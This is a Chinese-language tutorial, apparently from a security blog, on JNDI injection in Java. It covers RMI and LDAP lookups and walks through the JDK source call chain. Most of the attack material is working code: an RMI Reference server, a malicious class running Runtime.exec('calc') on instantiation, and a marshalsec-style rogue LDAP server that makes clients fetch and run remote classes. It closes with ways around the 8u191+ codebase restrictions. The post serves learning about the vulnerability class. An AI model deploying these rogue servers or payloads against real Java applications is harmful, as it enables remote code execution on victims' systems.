简介 官方文档解释:
The Java Naming and Directory Interface™ (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the Java™ programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories -new, emerging, and already deployed can be accessed in a common way.
JNDI 即(Java Naming and Directory Interface),包括Naming Service和Directory Service。 重点在于Interface
这个词,表示JNDI是Java的API,允许客户端通过名称发现和查找数据、对象。
架构 图如下,包括API和服务提供商接口(SPI):
服务 JNDI包含在Java SE平台中,需要使用JNDI的条件是:包含JNDI类和服务提供者。JDK中包含以下Naming/Directory服务:
轻量级目录访问协议(LDAP)
通用对象请求代理体系结构(CORBA) 通用对象服务(COS)
Java远程方法调用(RMI)
域名服务(DNS)
在JDK中提供了5个包用于实现JNDI功能:
javax.naming
javax.naming.directory
javax.naming.ldap
javax.naming.event
javax.naming.spi
注意
Naming Service与Directory Service的区别在于:目录服务中对象可以有属性,命名服务中对象没有属性
参考 https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
示例 InitialContext类 构造方法
1 2 3 4 5 6 InitialContext() InitialContext(boolean lazy) InitialContext(Hashtable<?,?> environment)
常用方法
1 2 3 4 5 bind(Name name, Object obj) list(String name) lookup(String name) rebind(String name, Object obj) unbind(String name)
其他详情可参考:https://docs.oracle.com/javase/8/docs/api/javax/naming/InitialContext.html
JNDI+RMI服务示例 先定义一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package JNDI;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote , Serializable { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}' ; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } public String sayhello () { return "Hello" ; } }
服务端:在RMI注册表上注册远程对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package JNDI;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.net.MalformedURLException;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void start () throws RemoteException, NamingException{ LocateRegistry.createRegistry(1099 ); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099" ); InitialContext initialContext = new InitialContext (); Person person = new Person ("mike" , 22 ); initialContext.bind("person" , person); initialContext.close(); while (true ) { try { Thread.sleep(Long.MAX_VALUE); } catch (InterruptedException e) { e.printStackTrace(); } } } public static void main (String[] args) throws NamingException, RemoteException, MalformedURLException, AlreadyBoundException { new Server ().start(); } }
注意:里面while循环的目的是添加一个无限循环或阻塞线程的代码,防止在将对象绑定到JNDI服务上后,执行流程结束退出程序,导致JVM关闭。此代码仅用于测试 另外使用 Naming.rebind 创建 RMI 注册表不需要阻塞,因为该方法会一直运行直到 JVM 退出或者 Naming.unexportObject 方法被调用
客户端:通过lookup寻找远程对象
1 2 3 4 5 6 7 8 9 10 11 12 package JNDI;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); Person p = (Person)initialContext.lookup("rmi://localhost:1099/person" ); String result = p.sayhello(); System.out.print(result); } }
JNDI中服务端的代码还可以是
1 2 3 4 5 6 Properties env = new Properties ();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, "rmi://localhost:1099" ); Context ctx = new InitialContext (env);
Reference类 Reference类表示对存在于命名/目录系统以外的对象的引用构造方法
1 2 3 4 5 6 Reference(String className) Reference(String className, RefAddr addr) Reference(String className, RefAddr addr, String factory, String factoryLocation) Reference(String className, String factory, String factoryLocation)
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
常用方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void add (int posn, RefAddr addr) void add (RefAddr addr) void clear () RefAddr get (int posn) RefAddr get (String addrType) Enumeration<RefAddr> getAll () String getClassName () String getFactoryClassLocation () String getFactoryClassName () Object remove (int posn) int size () String toString ()
其他详情参考:https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html
示例 环境:java1.8_66 服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class ReferServer { public static void main (String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7777 ); Reference reference = new Reference ("test" , "test" , "http://127.0.0.1:8080/" ); ReferenceWrapper wrapper = new ReferenceWrapper (reference); registry.bind("exec" , wrapper); } }
恶意的test类:
1 2 3 4 5 public class test { public test () throws Exception { Runtime.getRuntime().exec("calc" ); } }
使用对应的javac版本编译后,使用python开启8080端口的web服务
1 2 javac test.java python -m http.server 8080
注 :这里的test.java和test.class千万不要放在和Client同目录,这样会造成test远程对象从CLASSPATH中加载 客户端代码:
1 2 3 4 5 6 7 8 9 10 package JNDI;import javax.naming.InitialContext;public class ReferClient { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); initialContext.lookup("rmi://127.0.0.1:7777/exec" ); } }
流程:客户端通过lookup()获取远程对象时,获得一个Reference类的存根,由于获得的是一个Reference实例,客户端首先会去CLASSPATH寻找一个被标识为test的类,如果本地没有找到,则会请求http://localhost:8080/test.class动态加载并调用test的构造函数。
JDNI链分析 RMI+Reference 针对2.2中的Reference示例进行详细分析,其调用链如下:
1 2 3 4 5 6 7 getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:319 , NamingManager (javax.naming.spi) decodeObject:464 , RegistryContext (com.sun.jndi.rmi.registry) lookup:124 , RegistryContext (com.sun.jndi.rmi.registry) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:417 , InitialContext (javax.naming) main:8 , ReferClient (JNDI)
InitialContext.lookup函数:
1 2 3 4 5 public Object lookup (String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }
GenericURLContext.lookup函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public Object lookup (String var1) throws NamingException { ResolveResult var2 = this .getRootURLContext(var1, this .myEnv); Context var3 = (Context)var2.getResolvedObj(); Object var4; try { var4 = var3.lookup(var2.getRemainingName()); } finally { var3.close(); } return var4; }
RegistryContext.lookup函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object lookup (Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext (this ); } else { Remote var2; try { var2 = this .registry.lookup(var1.get(0 )); } catch (NotBoundException var4) { throw new NameNotFoundException (var1.get(0 )); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this .decodeObject(var2, var1.getPrefix(1 )); } }
RegistryContext.decodeObject函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException (); var4.setRootCause(var7); throw var4; } }
NamingManager.getObjectInstance函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
NamingManager.getObjectFactoryFromReference函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
此时将远程的恶意类实例化,其构造函数在实例化过程中默认执行,进而命令执行然后程序报错退出。 防止程序报错退出的方法是让恶意类继承ObjectFactory接口并重写getObjectInstance方法
1 2 3 4 5 6 7 8 9 10 11 import java.util.Hashtable;import javax.naming.*;import javax.naming.spi.ObjectFactory;public class test implements ObjectFactory { public test () throws Exception { Runtime.getRuntime().exec("calc" ); } public Object getObjectInstance (Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception{ return null ; } }
这样客户端在命令执行后就能够正常退出程序了详细流程 :参考网上一张详细的图
JNDI+LDAP LDAP简介 :轻量目录访问协议(Lightweight Directory Access Protocol),基于TCP/IP协议,分为服务端和客户端,使用树形存储,用于在分布式环境中访问和管理目录服务示例 : 添加依赖:
1 2 3 4 5 <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 3.1.1</version > </dependency >
服务端:参考marshalsec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 package JNDI;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1:8080/#test" }; int port = 9999 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
客户端:
1 2 3 4 5 6 7 8 9 10 package JNDI;import javax.naming.InitialContext;import javax.naming.NamingException;public class LdapClient { public static void main (String[] args) throws NamingException { new InitialContext ().lookup("ldap://127.0.0.1:9999/test" ); } }
恶意test类与RMI+Reference一致,同样也需要开启web服务供客户端远程加载恶意类 调用链如下:
1 2 3 4 5 6 7 8 9 getObjectFactoryFromReference:163 , NamingManager (javax.naming.spi) getObjectInstance:189 , DirectoryManager (javax.naming.spi) c_lookup:1085 , LdapCtx (com.sun.jndi.ldap) p_lookup:542 , ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177 , PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:94 , ldapURLContext (com.sun.jndi.url.ldap) lookup:417 , InitialContext (javax.naming) main:8 , LdapClient (JNDI)
攻击过程与上述RMI+Reference一致,但是使用LDAP不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制
总结 版本限制 :
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase
选项,默认为false,禁止LDAP协议使用远程codebase的选项。
打开方式,程序启动时加上:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
更高版本绕过限制 针对于JDK8u191+等更高版本的限制,可以使用下面方式进行绕过
利用本地的类作为Reference的Factory 在上述代码分析过程中,首先会在本地的ClassPath中寻找Reference Factory Class,在本地没有找到的情况下,再从远程的地址上加载恶意类。现在更高版本限制了远程的加载,故可以从本地的类入手 本地的类需要满足以下条件:实现了javax.naming.spi.ObjectFactory接口并至少存在getObjectInstance()方法 而Tomcat依赖包中存在一个org.apache.naming.factory.BeanFactory满足以上条件并存在利用的可能
利用LDAP返回序列化数据,触发本地的Gatget链 例如与本地的CC链、FastJson组件、JdbcRowSetImpl等进行组合利用
参考 搞懂JNDI | fynch3r的小窝 Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com) JDNI及其LADP学习 - R0ser1 - 博客园 (cnblogs.com) JNDI注入原理及利用考究 JNDI注入原理及利用 更高版本绕过限制参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用 (seebug.org) 8u191后的JNDI注入利用 - Atomovo - 博客园 (cnblogs.com) JNDI注入学习 搞懂RMI、JRMP、JNDI-终结篇